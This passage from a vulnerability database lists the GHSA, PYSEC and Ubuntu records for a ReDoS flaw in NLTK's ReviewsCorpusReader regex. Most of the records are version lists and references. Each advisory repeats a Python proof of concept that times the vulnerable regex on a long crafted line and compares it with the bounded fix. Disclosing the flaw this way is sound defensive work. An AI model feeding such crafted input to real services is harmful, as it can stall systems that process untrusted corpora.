          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39527"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39519",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39519"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39546",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39546"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39521",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39521"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39538",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39538"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39529",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39529"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39535",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39535"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39515",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39515"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39531",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39531"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39532",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39532"
        }
      ]
    }

    GHSA-FG7F-2386-8897

    Vulnerability from github – Published: 2026-07-31 16:51 – Updated: 2026-07-31 16:51
    VLAI
    Summary
    Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
    Details

    Summary

    ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

    Details

    The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

    PoC

    import multiprocessing as mp
    import re
    import time
    
    # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
    FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
    
    # --- Bounded variant from the fix (PR #3583): cap the per-label word run.
    #     A generous bound (real feature labels are short noun phrases) makes the
    #     run linear while never affecting legitimate corpora. ---
    WORD_BOUND = 50
    FEATURES_FIXED = re.compile(
        r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
    )
    
    TIMEOUT = 20.0  # seconds, per measurement
    SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line
    
    
    def _bad_line(n_words):
        """A long line of plain words with NO trailing bracketed annotation."""
        return ("word " * n_words).rstrip()
    
    
    def _worker(pattern_str, line, q):
        pat = re.compile(pattern_str)
        t0 = time.perf_counter()
        pat.findall(line)
        q.put(time.perf_counter() - t0)
    
    
    def timed_findall(pattern, line, timeout=TIMEOUT):
        """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
        q = mp.Queue()
        p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
        p.start()
        p.join(timeout)
        if p.is_alive():
            p.terminate()
            p.join()
            return None
        return q.get() if not q.empty() else None
    
    
    def bench(label, pattern):
        print(f"\n[{label}]  pattern: {pattern.pattern}")
        print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
        prev = None
        for n in SIZES:
            line = _bad_line(n)
            t = timed_findall(pattern, line)
            if t is None:
                print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
                prev = None
            else:
                ratio = f"{t/prev:.1f}x" if prev else "--"
                print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
                prev = t
    
    
    def parity_check():
        """The bound must NOT change extraction on a realistic annotated line."""
        real = (
            "the picture quality[+2] and battery life[+1] are great but "
            "the lens cap[-1] feels cheap and the menu system[-2] is slow"
        )
        a = FEATURES_VULN.findall(real)
        b = FEATURES_FIXED.findall(real)
        print("\n[parity] realistic annotated line — extraction must be identical")
        print(f"  vulnerable regex -> {a}")
        print(f"  bounded   regex  -> {b}")
        print(f"  identical: {a == b}")
        return a == b
    
    
    def main():
        print("=" * 66)
        print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
        print("=" * 66)
        print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")
    
        bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
        bench("BOUNDED     fix #3583", FEATURES_FIXED)
        same = parity_check()
    
        print("\n" + "=" * 66)
        print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
        print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
        print(f" Extraction parity on real annotations preserved: {same}")
        print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
        print("=" * 66)
    
    
    if __name__ == "__main__":
        main()
    

    Impact

    Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

    Show details on source website

    {
      "affected": [
        {
          "database_specific": {
            "last_known_affected_version_range": "\u003c= 3.9.4"
          },
          "package": {
            "ecosystem": "PyPI",
            "name": "nltk"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "3.10.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-12061"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-1333"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-07-31T16:51:09Z",
        "nvd_published_at": "2026-06-15T20:16:34Z",
        "severity": "HIGH"
      },
      "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
      "id": "GHSA-fg7f-2386-8897",
      "modified": "2026-07-31T16:51:09Z",
      "published": "2026-07-31T16:51:09Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex"
    }

    PYSEC-2026-3582

    Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
    VLAI
    Details

    Summary

    ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

    Details

    The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

    PoC

    import multiprocessing as mp
    import re
    import time
    
    # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
    FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
    
    # --- Bounded variant from the fix (PR #3583): cap the per-label word run.
    #     A generous bound (real feature labels are short noun phrases) makes the
    #     run linear while never affecting legitimate corpora. ---
    WORD_BOUND = 50
    FEATURES_FIXED = re.compile(
        r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
    )
    
    TIMEOUT = 20.0  # seconds, per measurement
    SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line
    
    
    def _bad_line(n_words):
        """A long line of plain words with NO trailing bracketed annotation."""
        return ("word " * n_words).rstrip()
    
    
    def _worker(pattern_str, line, q):
        pat = re.compile(pattern_str)
        t0 = time.perf_counter()
        pat.findall(line)
        q.put(time.perf_counter() - t0)
    
    
    def timed_findall(pattern, line, timeout=TIMEOUT):
        """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
        q = mp.Queue()
        p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
        p.start()
        p.join(timeout)
        if p.is_alive():
            p.terminate()
            p.join()
            return None
        return q.get() if not q.empty() else None
    
    
    def bench(label, pattern):
        print(f"\n[{label}]  pattern: {pattern.pattern}")
        print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
        prev = None
        for n in SIZES:
            line = _bad_line(n)
            t = timed_findall(pattern, line)
            if t is None:
                print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
                prev = None
            else:
                ratio = f"{t/prev:.1f}x" if prev else "--"
                print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
                prev = t
    
    
    def parity_check():
        """The bound must NOT change extraction on a realistic annotated line."""
        real = (
            "the picture quality[+2] and battery life[+1] are great but "
            "the lens cap[-1] feels cheap and the menu system[-2] is slow"
        )
        a = FEATURES_VULN.findall(real)
        b = FEATURES_FIXED.findall(real)
        print("\n[parity] realistic annotated line — extraction must be identical")
        print(f"  vulnerable regex -> {a}")
        print(f"  bounded   regex  -> {b}")
        print(f"  identical: {a == b}")
        return a == b
    
    
    def main():
        print("=" * 66)
        print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
        print("=" * 66)
        print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")
    
        bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
        bench("BOUNDED     fix #3583", FEATURES_FIXED)
        same = parity_check()
    
        print("\n" + "=" * 66)
        print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
        print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
        print(f" Extraction parity on real annotations preserved: {same}")
        print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
        print("=" * 66)
    
    
    if __name__ == "__main__":
        main()
    

    Impact

    Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

    Impacted products
    Name purl
    nltk pkg:pypi/nltk

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "nltk",
            "purl": "pkg:pypi/nltk"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "3.10.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "0.8",
            "0.9",
            "0.9.3",
            "0.9.4",
            "0.9.5",
            "0.9.6",
            "0.9.7",
            "0.9.8",
            "0.9.9",
            "2.0.1",
            "2.0.1rc1",
            "2.0.1rc2-git",
            "2.0.1rc3",
            "2.0.1rc4",
            "2.0.2",
            "2.0.3",
            "2.0.4",
            "2.0.5",
            "2.0b4",
            "2.0b5",
            "2.0b6",
            "2.0b7",
            "2.0b8",
            "2.0b9",
            "3.0.0",
            "3.0.0b1",
            "3.0.0b2",
            "3.0.1",
            "3.0.2",
            "3.0.3",
            "3.0.4",
            "3.0.5",
            "3.1",
            "3.2",
            "3.2.1",
            "3.2.2",
            "3.2.3",
            "3.2.4",
            "3.2.5",
            "3.3",
            "3.4",
            "3.4.1",
            "3.4.2",
            "3.4.3",
            "3.4.4",
            "3.4.5",
            "3.5",
            "3.5b1",
            "3.6",
            "3.6.1",
            "3.6.2",
            "3.6.3",
            "3.6.4",
            "3.6.5",
            "3.6.6",
            "3.6.7",
            "3.7",
            "3.8",
            "3.8.1",
            "3.9",
            "3.9.1",
            "3.9.2",
            "3.9.3",
            "3.9.4",
            "3.9b1"
          ]
        }
      ],
      "aliases": [
        "CVE-2026-12061",
        "GHSA-fg7f-2386-8897"
      ],
      "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
      "id": "PYSEC-2026-3582",
      "modified": "2026-08-04T13:36:24.581397Z",
      "published": "2026-08-04T11:34:46.033806Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        },
        {
          "type": "PACKAGE",
          "url": "https://pypi.org/project/nltk"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12061"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex"
    }

    UBUNTU-CVE-2026-12061 (CVE-2026-12061)

    Vulnerability from osv_ubuntu – Published: 2026-08-13 00:00 – Updated: 2026-10-17 09:37 – Source website
    VLAI

    {
      "affected": [
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "2.0~b9-0ubuntu4.1~esm6"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:14.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@2.0~b9-0ubuntu4.1~esm6?arch=source\u0026distro=esm-infra-legacy/trusty"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "2.0~b9-0ubuntu4",
            "2.0~b9-0ubuntu4.1~esm2",
            "2.0~b9-0ubuntu4.1~esm4",
            "2.0~b9-0ubuntu4.1~esm5",
            "2.0~b9-0ubuntu4.1~esm6"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "3.1-1ubuntu0.1+esm4"
              },
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.1-1ubuntu0.1+esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:16.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.1-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps-legacy/xenial"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.0.4-1",
            "3.0.5-1",
            "3.1-1",
            "3.1-1ubuntu0.1",
            "3.1-1ubuntu0.1+esm1",
            "3.1-1ubuntu0.1+esm2",
            "3.1-1ubuntu0.1+esm3",
            "3.1-1ubuntu0.1+esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "3.2.5-1ubuntu0.1+esm4"
              },
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.2.5-1ubuntu0.1+esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:18.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.2.5-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps/bionic"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.2.4-1",
            "3.2.5-1",
            "3.2.5-1ubuntu0.1",
            "3.2.5-1ubuntu0.1+esm1",
            "3.2.5-1ubuntu0.1+esm2",
            "3.2.5-1ubuntu0.1+esm3",
            "3.2.5-1ubuntu0.1+esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.4.5-2ubuntu0.1~esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:20.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.4.5-2ubuntu0.1~esm4?arch=source\u0026distro=esm-apps/focal"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.4.5-1",
            "3.4.5-2",
            "3.4.5-2ubuntu0.1~esm1",
            "3.4.5-2ubuntu0.1~esm2",
            "3.4.5-2ubuntu0.1~esm3",
            "3.4.5-2ubuntu0.1~esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.7-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:22.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.7-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/jammy"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.5-1",
            "3.6.5-1",
            "3.6.7-1",
            "3.7-1",
            "3.7-1ubuntu0.1~esm1",
            "3.7-1ubuntu0.1~esm2"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.8.1-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:24.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.8.1-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/noble"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.8.1-1",
            "3.8.1-1ubuntu0.1~esm1",
            "3.8.1-1ubuntu0.1~esm2"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.10.3-1"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:26.10",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.10.3-1?arch=source\u0026distro=stonking"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.9.2-1",
            "3.9.3-1",
            "3.10.0-1",
            "3.10.1-1",
            "3.10.3-1"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.9.2-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
